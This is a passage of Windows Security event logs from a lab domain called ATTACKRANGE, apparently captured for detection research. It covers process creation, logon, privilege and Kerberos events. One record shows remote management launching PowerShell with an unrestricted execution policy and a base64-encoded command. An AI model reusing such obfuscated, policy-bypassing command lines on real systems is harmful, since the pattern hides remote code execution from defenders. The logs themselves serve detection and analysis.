QBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA= - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:48:53 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=249774 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0xEC41D - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf10 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xa38 - Creator Process Name: C:\Windows\System32\winrshost.exe - Process Command Line: C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA= - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:48:53 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249773 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0xEC66D - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:48:53 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249772 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0xEC66D - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {A461350A-D96B-0B48-E20D-434B379AF17B} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:53 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249771 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {A461350A-D96B-0B48-E20D-434B379AF17B} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:48:53 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=249770 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {A461350A-D96B-0B48-E20D-434B379AF17B} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:48:53 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=249769 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:48:53 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=249768 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0xEC41D - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xa58 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xa38 - Creator Process Name: C:\Windows\System32\winrshost.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:48:53 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=249767 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0xEC41D - -Process Information: - New Process ID: 0xa38 - New Process Name: C:\Windows\System32\winrshost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x1e0 - Creator Process Name: C:\Windows\System32\svchost.exe - Process Command Line: C:\Windows\system32\WinrsHost.exe -Embedding - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:48:53 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249766 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0xEC41D - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:48:53 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249765 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0xEC41D - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {A461350A-D96B-0B48-E20D-434B379AF17B} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:53 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249764 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {A461350A-D96B-0B48-E20D-434B379AF17B} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:48:53 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=249763 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {A461350A-D96B-0B48-E20D-434B379AF17B} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:48:53 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=249762 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:48:53 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249761 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0xEC3E4 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:53 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249760 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0xE814E - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:53 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249759 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0xE839F - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:53 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249758 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0xEC3E4 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:48:53 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249757 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0xEC3E4 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {A461350A-D96B-0B48-E20D-434B379AF17B} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:53 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249756 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {A461350A-D96B-0B48-E20D-434B379AF17B} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:48:53 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=249755 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {A461350A-D96B-0B48-E20D-434B379AF17B} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:48:53 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=249754 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:48:53 PM -LogName=Security -SourceName=Microsoft 